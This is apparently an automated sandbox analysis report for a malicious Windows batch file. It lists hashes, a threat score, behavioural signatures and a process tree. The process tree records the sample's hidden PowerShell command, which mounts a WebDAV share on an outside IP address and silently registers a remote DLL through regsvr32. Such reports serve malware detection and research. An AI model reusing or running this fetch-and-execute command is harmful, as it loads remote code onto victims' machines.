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Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    23/07/2024, 08:22

General

  • Target

    188801557063505556.bat

  • Size

    23KB

  • MD5

    8e9c8e3250b7a2cbe19b77dbbcdb3420

  • SHA1

    9f7dcfb3b726549c38addb5e397dce1826d40753

  • SHA256

    ff83e8daabc6d19fa7b967227d331950622d9c9a10334d5bc7030d0d9fd22a08

  • SHA512

    c0f5a0640bb42fd34b92998b334aec40ca31509a3b16e93907f22c3dd3d0d27adcc9e58eba685ce3148eebdf1411e6f490e258bec6740fa3598f48abc017f3b8

  • SSDEEP

    384:+tZmEQtnt8TcDAtJ9NPcRdUtOp7etAKqDLHj0sMqFVqkMwlmbzOtRij9O:+tZmEQtn/EPjtOwID0sM8VkWmvOtRi5O

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\188801557063505556.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2236
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2788
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\15998104686307.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2732
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2440
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\15998104686307.dll
          3⤵
            PID:2556

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • memory/2732-23-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

        Filesize

        2.9MB

      • memory/2732-24-0x0000000001F40000-0x0000000001F48000-memory.dmp

        Filesize

        32KB